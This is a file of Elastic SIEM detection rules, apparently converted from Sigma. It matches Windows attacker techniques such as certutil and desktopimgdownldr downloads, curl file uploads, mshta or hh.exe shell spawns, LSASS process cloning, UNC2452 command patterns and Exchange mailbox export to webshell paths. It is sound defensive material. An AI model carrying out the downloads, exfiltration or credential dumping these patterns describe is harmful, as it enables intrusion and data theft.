{"description":"Detects a set of suspicious network related commands often used in recon stages Author: Florian Roth. License: ","enabled":false,"false_positives":["False positives depend on scripts and administrative tools used in the monitored environment"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e96a9288-8b94-5551-374d-b3f486d2ee24","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Network Reconnaissance Activity","query":"(process.command_line:*nslookup* AND process.command_line:*_ldap._tcp.dc._msdcs.*)","meta":{"from":"1m"},"severity":"high","tags":["T1082","T1087"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1082","name":"System Information Discovery","reference":""},{"id":"T1087","name":"Account Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a specific PowerShell command line pattern used by the UNC2452 actors as mentioned in Microsoft and Symantec reports Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown, unlikely, but possible"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b7155193-8a81-4d8f-805d-88de864ca50c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"UNC2452 PowerShell Pattern","query":"((process.command_line:*Invoke\\-WMIMethod\\ win32_process\\ \\-name\\ create\\ \\-argumentlist* AND process.command_line:*rundll32\\ c\\:\\\\windows*) OR (process.command_line:*wmic\\ \\/node\\:* AND process.command_line:*process\\ call\\ create\\ \\\"rundll32\\ c\\:\\\\windows*))","meta":{"from":"1m"},"severity":"critical","tags":["T1047","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a specific process creation patterns as seen used by UNC2452 and provided by Microsoft as Microsoft Defender ATP queries Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6504350a-67c7-8e72-aea9-5be509a2b2a0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"UNC2452 Process Creation Patterns","query":"((((process.command_line:*7z.exe\\ a\\ \\-v500m\\ \\-mx9\\ \\-r0\\ \\-p* OR (process.parent.command_line:*wscript.exe* AND process.parent.command_line:*.vbs* AND process.command_line:*rundll32.exe* AND process.command_line:*C\\:\\\\Windows* AND process.command_line:*.dll,Tk_*)) OR (process.parent.executable:*\\\\rundll32.exe AND process.parent.command_line:*C\\:\\\\Windows* AND process.command_line:*cmd.exe\\ \\/C\\ *)) OR (process.command_line:*rundll32\\ c\\:\\\\windows\\\\* AND process.command_line:*.dll\\ *)) OR ((process.parent.executable:*\\\\rundll32.exe AND process.executable:*\\\\dllhost.exe) AND (NOT (process.command_line:(\"\\ \" OR \"\")))))","meta":{"from":"1m"},"severity":"critical","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a specific tool and export used by EquationGroup Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d465d1d8-27a2-4cca-9621-a800f37cf72e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Equation Group DLL_U Load","query":"((process.executable:*\\\\rundll32.exe AND process.command_line:*,dll_u) OR process.command_line:*\\ \\-export\\ dll_u\\ *)","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a successful export of an Exchange mailbox to untypical directory or with aspx name suffix which can be used to place a webshell or the needed role assignment for it Author: Florian Roth, Rich Warren, Christian Burkard. License: ","enabled":false,"false_positives":["unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4c682060-a346-7693-db53-25a7abdfbeab","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Mailbox Export to Exchange Webserver","query":"(((*New\\-MailboxExportRequest* AND *\\ \\-Mailbox\\ *) AND (*\\-FilePath\\ \\\"\\\\\\\\localhost\\\\C$* OR *\\-FilePath\\ \\\"\\\\\\\\127.0.0.1\\\\C$* OR *.aspx*)) OR (*New\\-ManagementRoleAssignment* AND *\\ \\-Role\\ \\\"Mailbox\\ Import\\ Export\\\"* AND *\\ \\-User\\ *))","meta":{"from":"1m"},"severity":"critical","tags":["T1505"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1505","name":"Server Software Component","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious certreq execution taken from the LOLBAS examples, which can be abused to download (small) files Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4480827a-9799-4232-b2c4-ccc6c4e9e12b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Certreq Command to Download","query":"(process.executable:*\\\\certreq.exe AND process.command_line:*\\ \\-Post\\ * AND process.command_line:*\\ \\-config\\ * AND process.command_line:*\\ http* AND process.command_line:*\\ C\\:\\\\windows\\\\win.ini\\ *)","meta":{"from":"1m"},"severity":"high","tags":["T1105"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects a suspicious child process of a Microsoft HTML Help system when executing compiled HTML files (.chm) Author: Maxim Pavlunin. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"016ec08f-a48d-00a1-2aa2-bb9a04952e9c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"HTML Help Shell Spawn","query":"(process.parent.executable:\"C\\:\\\\Windows\\\\hh.exe\" AND process.executable:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\regsvr32.exe OR *\\\\wmic.exe OR *\\\\rundll32.exe))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1047","T1059","T1059","T1059","T1059","T1218","T1218","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""},{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""},{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious child process of a mshta.exe process Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"772bb24c-8df2-4be0-9157-ae4dfa794037","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Mshta Spawning Windows Shell","query":"(process.parent.executable:*\\\\mshta.exe AND process.executable:(*\\\\powershell.exe OR *\\\\cmd.exe OR *\\\\WScript.exe))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1059","T1059","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious child process of a Windows shell Author: Florian Roth. License: ","enabled":false,"false_positives":["Administrative scripts","Microsoft SCCM"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3a6586ad-127a-4d3b-a677-1e6eacdf8fde","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Windows Shell Spawning Suspicious Program","query":"((process.parent.executable:(*\\\\mshta.exe OR *\\\\powershell.exe OR *\\\\rundll32.exe OR *\\\\cscript.exe OR *\\\\wscript.exe OR *\\\\wmiprvse.exe) AND process.executable:(*\\\\schtasks.exe OR *\\\\nslookup.exe OR *\\\\certutil.exe OR *\\\\bitsadmin.exe OR *\\\\mshta.exe)) AND (NOT (process.working_directory:*\\\\ccmcache\\\\*)))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1059","T1059","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious child process of Script Event Consumer (scrcons.exe). Author: Sittikorn S. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f6d1dd2f-b8ce-40ca-bc23-062efb686b34","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Script Event Consumer Spawning Process","query":"(process.parent.executable:*\\\\scrcons.exe AND process.executable:(*\\\\svchost.exe OR *\\\\dllhost.exe OR *\\\\powershell.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\schtasks.exe OR *\\\\regsvr32.exe OR *\\\\mshta.exe OR *\\\\rundll32.exe OR *\\\\msiexec.exe OR *\\\\msbuild.exe))","meta":{"from":"1m"},"severity":"high","tags":["T1047"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious child process of userinit Author: Florian Roth (rule), Samir Bousseaden (idea). License: ","enabled":false,"false_positives":["Administrative scripts"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b655a06a-31c0-477a-95c2-3726b83d649d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Userinit Child Process","query":"((process.parent.executable:*\\\\userinit.exe AND (NOT (process.command_line:*\\\\netlogon\\\\*))) AND (NOT (process.executable:*\\\\explorer.exe)))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1055"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious command line execution that includes an URL and AppData string in the command line parameters as used by several droppers (js/vbs > powershell) Author: Florian Roth, Jonhnathan Ribeiro, oscd.community. License: ","enabled":false,"false_positives":["High"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1ac8666b-046f-4201-8aba-1951aaec03a3","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Command Line Execution with Suspicious URL and AppData Strings","query":"(process.executable:*\\\\cmd.exe AND process.command_line:*http* AND process.command_line:*\\:\\/\\/* AND process.command_line:*%AppData%*)","meta":{"from":"1m"},"severity":"medium","tags":["T1059","T1059","T1105"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious command line execution that invokes PowerShell with reference to an AppData folder Author: Florian Roth, Jonhnathan Ribeiro, oscd.community. License: ","enabled":false,"false_positives":["Administrative scripts"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ac175779-025a-4f12-98b0-acdaeb77ea85","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"PowerShell Script Run in AppData","query":"(process.command_line:(*powershell.exe* OR *\\\\powershell*) AND process.command_line:*\\/c\\ * AND process.command_line:*\\\\AppData\\\\* AND process.command_line:(*Local\\\\* OR *Roaming\\\\*))","meta":{"from":"1m"},"severity":"medium","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious copy command that copies a system program from System32 to another directory on disk - sometimes used to use LOLBINs like certutil or desktopimgdownldr to a different location with a different name Author: Florian Roth, Markus Neis, Tim Shelton (HAWK.IO). License: ","enabled":false,"false_positives":["False positives depend on scripts and administrative tools used in the monitored environment","Admin scripts like ","False positive when cmd.exe and xcopy.exe are called directly"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"327ea053-c225-f9d0-0e39-267253f45d8b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Copy From or To System32","query":"process.command_line:(*xcopy*\\\\System32\\\\* OR *cmd.exe*\\/c*copy*\\\\System32\\\\*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious copy command to or from an Admin share Author: Florian Roth, oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st. License: ","enabled":false,"false_positives":["Administrative scripts"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"855bc8b5-2ae8-402e-a9ed-b889e6df1900","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Copy from Admin Share","query":"(((process.executable:(*\\\\robocopy.exe OR *\\\\xcopy.exe) OR (process.executable:*\\\\cmd.exe AND process.command_line:*copy*)) OR (process.executable:*\\\\powershell* AND process.command_line:(*copy\\-item* OR *copy* OR *cpi\\ * OR *\\ cp\\ *))) AND (process.command_line:*\\\\\\\\\\* AND process.command_line:*$*))","meta":{"from":"1m"},"severity":"high","tags":["Lateral Movement","T1021","T1039","T1048"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1021","name":"Remote Services","reference":""}]},{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1039","name":"Data from Network Shared Drive","reference":""}]},{"tactic":{"id":"TA0010","reference":"","name":"Exfiltration"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1048","name":"Exfiltration Over Alternative Protocol","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious curl process start on Windows and outputs the requested document to a local file Author: Florian Roth. License: ","enabled":false,"false_positives":["Scripts created by developers and admins","Administrative activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"bdd97c33-6005-b44a-8841-5762daf05012","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Curl Usage on Windows","query":"((process.executable:*\\\\curl.exe OR Product:\"The\\ curl\\ executable\") AND process.command_line:*\\ \\-O\\ *)","meta":{"from":"1m"},"severity":"medium","tags":["T1105"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects a suspicious curl process start on Windows with set useragent options Author: frack113. License: ","enabled":false,"false_positives":["Scripts created by developers and admins","Administrative activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3286d37a-00fd-41c2-a624-a672dcd34e60","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Curl Change User Agents","query":"((process.executable:*\\\\curl.exe OR Product:\"The\\ curl\\ executable\") AND process.command_line:(*\\ \\-A\\ * OR *\\ \\-\\-user\\-agent\\ *))","meta":{"from":"1m"},"severity":"medium","tags":["T1071"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects a suspicious curl process start the adds a file to a web request Author: Florian Roth. License: ","enabled":false,"false_positives":["Scripts created by developers and admins"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7e8e4b63-1cb1-32ec-3e6e-dc33299f19f0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Curl File Upload","query":"(process.executable:*\\\\curl.exe AND process.command_line:(*\\ \\-F\\ * OR *\\ \\-T\\ * OR *\\ \\-\\-upload\\-file\\ * OR *\\ \\-d\\ * OR *\\ \\-\\-data\\ *))","meta":{"from":"1m"},"severity":"medium","tags":["T1105","T1567"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0010","reference":"","name":"Exfiltration"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1567","name":"Exfiltration Over Web Service","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious DLL loading from AppData Local path as described in BlueMashroom report Author: Florian Roth, Tim Shelton. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f50b2bdb-8edc-0f31-6e4f-ec7f42cb9134","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"BlueMashroom DLL Load","query":"((process.command_line:*\\\\AppData\\\\Local\\\\* AND (process.command_line:*\\\\regsvr32* OR process.command_line:*,DllEntry*)) AND (NOT ((process.command_line:*AppData\\\\Local\\\\Microsoft\\\\TeamsMeetingAddin\\\\* OR process.command_line:*\\\\x86\\\\Microsoft.Teams.AddinLoader.dll))))","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious execution from an uncommon folder Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f2138e97-9771-ed9b-0cdc-ebd13ad82280","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Execution from Suspicious Folder","query":"(process.executable:(*\\\\$Recycle.bin\\\\* OR *\\\\config\\\\systemprofile\\\\* OR *\\\\Intel\\\\Logs\\\\* OR *\\\\RSA\\\\MachineKeys\\\\* OR *\\\\Users\\\\All\\ Users\\\\* OR *\\\\Users\\\\Default\\\\* OR *\\\\Users\\\\NetworkService\\\\* OR *\\\\Users\\\\Public\\\\* OR *\\\\Windows\\\\addins\\\\* OR *\\\\Windows\\\\debug\\\\* OR *\\\\Windows\\\\Fonts\\\\* OR *\\\\Windows\\\\Help\\\\* OR *\\\\Windows\\\\IME\\\\* OR *\\\\Windows\\\\Media\\\\* OR *\\\\Windows\\\\repair\\\\* OR *\\\\Windows\\\\security\\\\* OR *\\\\Windows\\\\System32\\\\Tasks\\\\* OR *\\\\Windows\\\\Tasks\\\\*) OR process.executable:C\\:\\\\Perflogs\\\\*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious execution of csc.exe, which uses a source in a suspicious folder (e.g. AppData) Author: Florian Roth. License: ","enabled":false,"false_positives":["",""],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"dcaa3f04-70c3-427a-80b4-b870d73c94c4","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Csc.exe Source File Folder","query":"((process.executable:*\\\\csc.exe AND process.command_line:(*\\\\AppData\\\\* OR *\\\\Windows\\\\Temp\\\\*)) AND (NOT (process.parent.executable:C\\:\\\\Program\\ Files* OR process.parent.executable:(*\\\\sdiagnhost.exe OR *\\\\w3wp.exe OR *\\\\choco.exe) OR process.parent.command_line:*\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\ Advanced\\ Threat\\ Protection*)))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1027"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious LSASS process process clone that could be a sign of process dumping activity Author: Florian Roth, Samir Bousseaden. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c8da0dfd-4ed0-4b68-962d-13c9c884384e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Suspicious LSASS Process Clone","query":"(process.executable:*\\\\Windows\\\\System32\\\\lsass.exe AND process.parent.executable:*\\\\Windows\\\\System32\\\\lsass.exe)","meta":{"from":"1m"},"severity":"critical","tags":["Credential Access","T1003","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""},{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious Microsoft certutil execution with sub commands like 'decode' sub command, which is sometimes used to decode malicious code with the built-in certutil utility Author: Florian Roth, juju4, keepwatch. License: ","enabled":false,"false_positives":["False positives depend on scripts and administrative tools used in the monitored environment"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e011a729-98a6-4139-b5c4-bf6f6dd8239a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Certutil Command","query":"(process.command_line:(*\\ \\-decode\\ * OR *\\ \\-decodehex\\ * OR *\\ \\-urlcache\\ * OR *\\ \\-verifyctl\\ * OR *\\ \\-encode\\ * OR *\\ \\/decode\\ * OR *\\ \\/decodehex\\ * OR *\\ \\/urlcache\\ * OR *\\ \\/verifyctl\\ * OR *\\ \\/encode\\ *) OR (process.executable:*\\\\certutil.exe AND process.command_line:(*URL* OR *ping*)))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1105","T1140"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1140","name":"Deobfuscate/Decode Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious Microsoft desktopimgdownldr execution with parameters used to download files from the Internet Author: Florian Roth. License: ","enabled":false,"false_positives":["False positives depend on scripts and administrative tools used in the monitored environment"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d643d211-2870-e094-7255-cd81ca9bf5f5","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Desktopimgdownldr Command","query":"((process.command_line:*\\ \\/lockscreenurl\\:* AND (NOT (process.command_line:(*.jpg* OR *.jpeg* OR *.png*)))) OR (process.command_line:*reg\\ delete* AND process.command_line:*\\\\PersonalizationCSP*))","meta":{"from":"1m"},"severity":"high","tags":["T1105"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects a suspicious Microsoft desktopimgdownldr file creation that stores a file to a suspicious location or contains a file with a suspicious extension Author: Florian Roth. License: ","enabled":false,"false_positives":["False positives depend on scripts and administrative tools used in the monitored environment"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ac40c4b3-9bc3-81d1-29f3-753ceac3957e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Desktopimgdownldr Target File","query":"(((process.executable:*svchost.exe AND file.path:*\\\\Personalization\\\\LockScreenImage\\\\*) AND (NOT (file.path:*C\\:\\\\Windows\\\\*))) AND (NOT (file.path:(*.jpg* OR *.jpeg* OR *.png*))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1105"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects a suspicious output redirection to the local admins share as often found in malicious scripts or hacktool stagers Author: Florian Roth. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"53e4fa5c-1b11-a6cd-eae1-05110c13f4bb","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Redirection to Local Admin Share","query":"process.command_line:(*>\\ \\\\\\\\127.0.0.1\\\\admin$* OR *>\\ \\\\\\\\localhost\\\\admin$*)","meta":{"from":"1m"},"severity":"high","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects a suspicious parent of csc.exe, which could by a sign of payload delivery Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b730a276-6b63-41b8-bcf8-55930c8fc6ee","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Parent of Csc.exe","query":"(process.executable:*\\\\csc.exe AND process.parent.executable:(*\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\mshta.exe))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1027","T1059","T1059","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""},{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects a suspicious parents of powershell.exe Author: Teymur Kheirkhabarov, Harish Segar (rule). License: ","enabled":false,"false_positives":["Other scripts"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e899435c-ff0a-6893-0f71-c2bd114da6d4","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious PowerShell Parent Process","query":"((process.parent.executable:(*\\\\mshta.exe OR *\\\\rundll32.exe OR *\\\\regsvr32.exe OR *\\\\services.exe OR *\\\\winword.exe OR *\\\\wmiprvse.exe OR *\\\\powerpnt.exe OR *\\\\excel.exe OR *\\\\msaccess.exe OR *\\\\mspub.exe OR *\\\\visio.exe OR *\\\\outlook.exe OR *\\\\amigo.exe OR *\\\\chrome.exe OR *\\\\firefox.exe OR *\\\\iexplore.exe OR *\\\\microsoftedgecp.exe OR *\\\\microsoftedge.exe OR *\\\\browser.exe OR *\\\\vivaldi.exe OR *\\\\safari.exe OR *\\\\sqlagent.exe OR *\\\\sqlserver.exe OR *\\\\sqlservr.exe OR *\\\\w3wp.exe OR *\\\\httpd.exe OR *\\\\nginx.exe OR *\\\\php\\-cgi.exe OR *\\\\jbosssvc.exe OR *MicrosoftEdgeSH.exe) OR process.parent.executable:*tomcat*) AND (process.command_line:(*powershell* OR *pwsh*) OR winlog.event_data.Description:\"Windows\\ PowerShell\" OR Product:\"PowerShell\\ Core\\ 6\"))","meta":{"from":"1m"},"severity":"high","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
